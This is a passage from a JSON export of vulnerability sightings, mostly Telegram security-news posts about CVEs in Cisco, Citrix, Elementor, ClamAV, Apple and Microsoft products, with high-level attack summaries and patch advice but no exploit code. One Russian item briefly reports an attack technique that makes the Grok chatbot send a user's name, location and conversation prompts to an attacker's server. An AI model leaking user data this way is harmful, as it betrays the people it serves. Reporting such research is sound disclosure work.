\u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b HTTP/1.\n\nCDN Tsunami attack \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c: \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u043e\u0431\u044a\u0451\u043c HTTP/3-\u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 CDN, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0437\u0430\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u043e\u0433\u0440\u043e\u043c\u043d\u044b\u0439 \u043e\u0431\u044a\u0451\u043c HTTP/1-\u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0430 \u0441\u0430\u0439\u0442\u044b \u0441\u0432\u043e\u0438\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432. \u041e\u0434\u043d\u0430\u043a\u043e \u0441 \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u0432\u0435 CDN \u0432\u043d\u0435\u0434\u0440\u0438\u043b\u0438 \u043c\u0435\u0440\u044b \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f.\n\n5. \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 Elementor Pro \u0434\u043b\u044f WordPress \u0441 10 \u043c\u043b\u043d. \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u043a \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0434\u043b\u044f RCE \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u041d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435 \u043d\u0435 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e.\n\nCVE-2026-32475 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Elementor Pro \u0434\u043e 4.2.2 \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043c\u043e\u0434\u0443\u043b\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0446\u0438\u043a\u043b\u044b \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u043f\u043e-\u0440\u0430\u0437\u043d\u043e\u043c\u0443 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0444\u0430\u0439\u043b\u043e\u0432 \u0441 \u043f\u0443\u0441\u0442\u044b\u043c\u0438 \u0438\u043c\u0435\u043d\u0430\u043c\u0438.\n\n6. \u041e\u0436\u0438\u0434\u0430\u0435\u0442\u0441\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u043e\u0431\u043e\u0439\u0442\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u0443\u044e \u0437\u0430\u0449\u0438\u0442\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432 Citrix NetScaler. \u0423\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0435, \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0435 \u0431\u0435\u0437 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044e Citrix, CVE-2026-19490 (CVSS 9.3) \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u043f\u0443\u0442\u0438 \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 NetScaler, \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0435 \u043a\u0430\u043a \u0448\u043b\u044e\u0437 (SSL VPN, ICA Proxy, CVPN, RDP Proxy) \u0438\u043b\u0438 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 AAA.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c\u00a0Rapid7, \u043d\u0435\u0442 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u0432 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043e\u0434\u043d\u0430\u043a\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u0430\u044f \u0440\u043e\u043b\u044c NetScaler \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0434\u0435\u043b\u0430\u0435\u0442 \u0435\u0433\u043e \u043f\u0440\u0438\u0432\u043b\u0435\u043a\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0446\u0435\u043b\u044c\u044e \u0434\u043b\u044f \u0445\u0430\u043a\u0435\u0440\u043e\u0432.\n\n7. \u041d\u0430 \u044d\u0442\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 \u0440\u044f\u0434 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0443\u0442\u0440\u0430\u0442\u0438\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435 OpenAI Trusted Access for Cyber (TAC) \u0438\u0437-\u0437\u0430 \u043e\u0448\u0438\u0431\u043a\u0438. \u041e\u043d\u0430 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0435\u0440\u0435\u0434\u043e\u0432\u044b\u043c \u043a\u0438\u0431\u0435\u0440\u043c\u043e\u0434\u0435\u043b\u044f\u043c \u0434\u043b\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0446\u0435\u043b\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f ChatGPT Cyber. OpenAI \u043d\u0435 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430, \u0447\u0442\u043e \u0432\u044b\u0437\u0432\u0430\u043b\u043e \u043e\u0448\u0438\u0431\u043a\u0443, \u043d\u043e \u043f\u043e\u043f\u0440\u043e\u0441\u0438\u043b\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e \u043f\u043e\u0434\u0430\u0442\u044c \u0437\u0430\u044f\u0432\u043a\u0443 \u0438 \u043f\u0440\u043e\u0439\u0442\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0432\u0435\u0440\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n8. Cisco \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f 15 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0432 Crosswork \u0438 Secure Workload.\n\n\u0422\u0440\u0438 \u0438\u0437 \u043d\u0438\u0445, CVE-2026-20030, CVE-2026-20357 \u0438 CVE-2026-20358, \u0438\u043c\u0435\u044e\u0442 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 (CVSS 10/10), \u0430 \u0447\u0435\u0442\u0432\u0435\u0440\u0442\u0430\u044f, CVE-2026-20359 - CVSS 9,9/10. Cisco \u043d\u0435 \u0440\u0430\u0441\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u043c \u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n9. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Microsoft Entra ID (CVSS 10.0) \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. CVE-2026-69836\u00a0(CVSS: 10.0) \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 RCE, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0439 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439 \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0433\u0438\u0433\u0430\u043d\u0442\u0430. \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445 \u043f\u043e\u043a\u0430 \u043d\u0435\u0442.\n\n10. Adversa AI \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u043c\u0435\u0442\u043e\u0434\u0438\u043a\u0443 \u0430\u0442\u0430\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f, \u043f\u043e \u0435\u0435 \u0441\u043b\u043e\u0432\u0430\u043c, \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c\u00a0\u0447\u0430\u0442-\u0431\u043e\u0442 Grok \u043e\u0442 xAI\u00a0\u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0438\u043c\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u043f\u0440\u0438\u0431\u043b\u0438\u0437\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u043c\u0435\u0441\u0442\u043e\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043f\u043e\u0434\u043f\u0438\u0441\u043a\u0438 \u0438 \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0438 \u0438\u0437 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440\u0430 \u043d\u0430 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440.", "creation_timestamp": "2026-08-23T00:00:46.383884Z"}, {"uuid": "b87ed2d5-bf68-42a8-a64c-8afc82b6f93d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "exploited", "source": "https://t.me/critical_bug/1673", "content": "\ud83d\udd25 \u041d\u0443\u043b\u0435\u0432\u043e\u0439 \u0434\u0435\u043d\u044c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043f\u0430\u043b\u0438\u043b \u0444\u0430\u0439\u0440\u0432\u043e\u043b\u044b: CVE-2026-20131\n\n\u0424\u0430\u0439\u0440\u0432\u043e\u043b \u0434\u043e\u043b\u0436\u0435\u043d \u0437\u0430\u0449\u0438\u0449\u0430\u0442\u044c \u0441\u0435\u0442\u044c, \u043d\u043e \u0447\u0442\u043e \u0435\u0441\u043b\u0438 \u043e\u043d \u0441\u0430\u043c \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0432\u0445\u043e\u0434\u043d\u043e\u0439 \u0434\u0432\u0435\u0440\u044c\u044e? \ud83e\udd2f\n\nCVE-2026-20131 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f RCE \u0432 Cisco Secure Firewall Management Center (FMC). CVSS: 10.0 \ud83d\udd34\n\n\ud83d\udca5 \u0421\u0443\u0442\u044c: \u041d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u0430\u044f \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f (CWE-502). \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441 \u0441 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c Java-\u043e\u0431\u044a\u0435\u043a\u0442\u043e\u043c \u2014 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 root-\u0434\u043e\u0441\u0442\u0443\u043f \u0431\u0435\u0437 \u043b\u043e\u0433\u0438\u043d\u0430 \u0438 \u043f\u0430\u0440\u043e\u043b\u044f.\n\n\ud83d\udea8 \u0413\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 Interlock ransomware \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u044d\u0442\u043e \u043a\u0430\u043a zero-day \u0437\u0430 36 \u0434\u043d\u0435\u0439 \u0434\u043e \u043f\u0430\u0442\u0447\u0430!\n\n\ud83d\udee1 \u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c?\n1\ufe0f\u20e3 \u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c FMC \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0439 7.0.6.3 / 7.2.5.1 / 7.4.2.1+\n2\ufe0f\u20e3 \u0417\u0430\u043a\u0440\u044b\u0442\u044c \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u0442 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430\n\n\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u2014 \u0432 \u043f\u0440\u0438\u043a\u0440\u0435\u043f\u043b\u0451\u043d\u043d\u043e\u043c PDF! \ud83d\udc47\n\n\ud83d\udc8e \u042d\u043a\u0441\u043a\u043b\u044e\u0437\u0438\u0432\u043d\u044b\u0435 \u0440\u0430\u0437\u0431\u043e\u0440\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0440\u0430\u043d\u044c\u0448\u0435 \u0432\u0441\u0435\u0445 \u2014 \u0432 VIP-\u0432\u0435\u0440\u0441\u0438\u0438 \u043a\u0430\u043d\u0430\u043b\u0430: vip.eh.su \ud83d\ude80\n\n#Cisco #CVE #RCE #ZeroDay #Infosec #critical_bug", "creation_timestamp": "2026-07-21T00:00:40.430036Z"}, {"uuid": "b5435664-33ea-442c-b3fc-864e783d0038", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "published-proof-of-concept", "source": "https://t.me/critical_bug/1674", "content": "\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 CVE-2026-20131: RCE \u0432 Cisco Secure Firewall Management Center", "creation_timestamp": "2026-07-21T00:00:40.387456Z"}, {"uuid": "c6020e25-9005-4f6c-a578-1088c191a7b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20685", "type": "seen", "source": "https://t.me/pphm_HackerNews/2557", "content": "\ud83d\udd34 Apple Private Cloud Compute Path Traversal Flaw Lets Attackers Write Files as Root\n\nSecurity researcher Drinor Selmanaj has disclosed a path traversal vulnerability (CVE-2026-20685) in Apple\u2019s Private Cloud Compute (PCC) that allows a privileged network attacker to write attacker-controlled files as root during node boot.\n\nThis flaw affects the Apple Intelligence cloud-inference infrastructure. Apple has addressed the issue in PCC Release 5E290.3 and later, rating it as an information disclosure vulnerability with a CVSS score of 6.5.", "creation_timestamp": "2026-08-23T00:00:46.952300Z"}, {"uuid": "291a1b90-fc23-4b6d-8444-79b7dc592e81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://t.me/pphm_HackerNews/2590", "content": "\ud83d\udd34 Cisco Patches Firewall Zero-Day Exploited for DoS Attacks\n\nCisco informed customers on Tuesday that it has released patches for a zero-day vulnerability affecting firewalls running Secure Firewall Adaptive Security Appliance (ASA) and Secure Firewall Threat Defense (FTD) software.\n\nThe security hole, tracked as CVE-2026-20349, is related to the processing of HTTP requests. \n\nA remote, unauthenticated attacker can cause an appliance to reload and enter a denial-of-service (DoS) condition by sending a specially crafted HTTP request to the Remote Access SSL VPN service. \n\nThe vulnerability was discovered internally by Cisco and also reported by an external researcher.", "creation_timestamp": "2026-08-23T00:00:47.070592Z"}, {"uuid": "54db2384-1871-43ab-b052-a0e75f03edc4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20346", "type": "seen", "source": "https://t.me/pphm_HackerNews/2587", "content": "\ud83d\udd34 CiscoClamAV Vulnerabilities Let Remote Attackers Crash Antivirus Scanning With Crafted Files\n\nCisco has disclosed seven high-severity vulnerabilities in ClamAV that could allow unauthenticated remote attackers to disrupt antivirus scanning by submitting specially crafted files.\n\nThese vulnerabilities are tracked as CVE-2026-20337, CVE-2026-20338, CVE-2026-20339, CVE-2026-20345, CVE-2026-20346, CVE-2026-20347, and CVE-2026-20348, and have been assigned a maximum CVSS score of 7.5.", "creation_timestamp": "2026-08-23T00:00:47.102668Z"}, {"uuid": "7aa2edce-7ccc-42ad-8030-5ebbc7ed1bef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20345", "type": "seen", "source": "https://t.me/pphm_HackerNews/2587", "content": "\ud83d\udd34 CiscoClamAV Vulnerabilities Let Remote Attackers Crash Antivirus Scanning With Crafted Files\n\nCisco has disclosed seven high-severity vulnerabilities in ClamAV that could allow unauthenticated remote attackers to disrupt antivirus scanning by submitting specially crafted files.\n\nThese vulnerabilities are tracked as CVE-2026-20337, CVE-2026-20338, CVE-2026-20339, CVE-2026-20345, CVE-2026-20346, CVE-2026-20347, and CVE-2026-20348, and have been assigned a maximum CVSS score of 7.5.", "creation_timestamp": "2026-08-23T00:00:47.134351Z"}, {"uuid": "bbcb5665-325b-406c-97c5-0805c6eaff26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20339", "type": "seen", "source": "https://t.me/pphm_HackerNews/2587", "content": "\ud83d\udd34 CiscoClamAV Vulnerabilities Let Remote Attackers Crash Antivirus Scanning With Crafted Files\n\nCisco has disclosed seven high-severity vulnerabilities in ClamAV that could allow unauthenticated remote attackers to disrupt antivirus scanning by submitting specially crafted files.\n\nThese vulnerabilities are tracked as CVE-2026-20337, CVE-2026-20338, CVE-2026-20339, CVE-2026-20345, CVE-2026-20346, CVE-2026-20347, and CVE-2026-20348, and have been assigned a maximum CVSS score of 7.5.", "creation_timestamp": "2026-08-23T00:00:47.167092Z"}, {"uuid": "72a5ef0b-02bc-44c1-aeaa-3f3dac2f2494", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20338", "type": "seen", "source": "https://t.me/pphm_HackerNews/2587", "content": "\ud83d\udd34 CiscoClamAV Vulnerabilities Let Remote Attackers Crash Antivirus Scanning With Crafted Files\n\nCisco has disclosed seven high-severity vulnerabilities in ClamAV that could allow unauthenticated remote attackers to disrupt antivirus scanning by submitting specially crafted files.\n\nThese vulnerabilities are tracked as CVE-2026-20337, CVE-2026-20338, CVE-2026-20339, CVE-2026-20345, CVE-2026-20346, CVE-2026-20347, and CVE-2026-20348, and have been assigned a maximum CVSS score of 7.5.", "creation_timestamp": "2026-08-23T00:00:47.198302Z"}, {"uuid": "09ed538d-108d-405c-a1d2-185cc66a3a0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20347", "type": "seen", "source": "https://t.me/pphm_HackerNews/2587", "content": "\ud83d\udd34 CiscoClamAV Vulnerabilities Let Remote Attackers Crash Antivirus Scanning With Crafted Files\n\nCisco has disclosed seven high-severity vulnerabilities in ClamAV that could allow unauthenticated remote attackers to disrupt antivirus scanning by submitting specially crafted files.\n\nThese vulnerabilities are tracked as CVE-2026-20337, CVE-2026-20338, CVE-2026-20339, CVE-2026-20345, CVE-2026-20346, CVE-2026-20347, and CVE-2026-20348, and have been assigned a maximum CVSS score of 7.5.", "creation_timestamp": "2026-08-23T00:00:47.229144Z"}, {"uuid": "e713f46a-ed63-47a1-a1ab-3dacca313578", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20348", "type": "seen", "source": "https://t.me/pphm_HackerNews/2587", "content": "\ud83d\udd34 CiscoClamAV Vulnerabilities Let Remote Attackers Crash Antivirus Scanning With Crafted Files\n\nCisco has disclosed seven high-severity vulnerabilities in ClamAV that could allow unauthenticated remote attackers to disrupt antivirus scanning by submitting specially crafted files.\n\nThese vulnerabilities are tracked as CVE-2026-20337, CVE-2026-20338, CVE-2026-20339, CVE-2026-20345, CVE-2026-20346, CVE-2026-20347, and CVE-2026-20348, and have been assigned a maximum CVSS score of 7.5.", "creation_timestamp": "2026-08-23T00:00:47.260685Z"}, {"uuid": "a67b7381-207a-4880-823e-2a67d8aac471", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20337", "type": "seen", "source": "https://t.me/pphm_HackerNews/2587", "content": "\ud83d\udd34 CiscoClamAV Vulnerabilities Let Remote Attackers Crash Antivirus Scanning With Crafted Files\n\nCisco has disclosed seven high-severity vulnerabilities in ClamAV that could allow unauthenticated remote attackers to disrupt antivirus scanning by submitting specially crafted files.\n\nThese vulnerabilities are tracked as CVE-2026-20337, CVE-2026-20338, CVE-2026-20339, CVE-2026-20345, CVE-2026-20346, CVE-2026-20347, and CVE-2026-20348, and have been assigned a maximum CVSS score of 7.5.", "creation_timestamp": "2026-08-23T00:00:47.293435Z"}, {"uuid": "1814f319-9154-4e94-ba91-fe1898ab4aab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "exploited", "source": "https://t.me/infosec_ita_notizie/3000", "content": "\u2728 CVE-2026-20245 e CVE-2026-41089: zero-day Cisco SD-WAN e RCE su Netlogon sotto attacco attivo\nvia, Spcnet.it\n\n\ud83d\udd17 Leggi di pi\u00f9: https://spcnet.it/cve-2026-20245-e-cve-2026-41089-zero-day-cisco-sd-wan-e-rce-su-netlogon-sotto-attacco-attivo/", "creation_timestamp": "2026-07-21T04:00:08.305255Z"}, {"uuid": "32f0016d-2a7b-47b0-a51b-5819acadfa1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 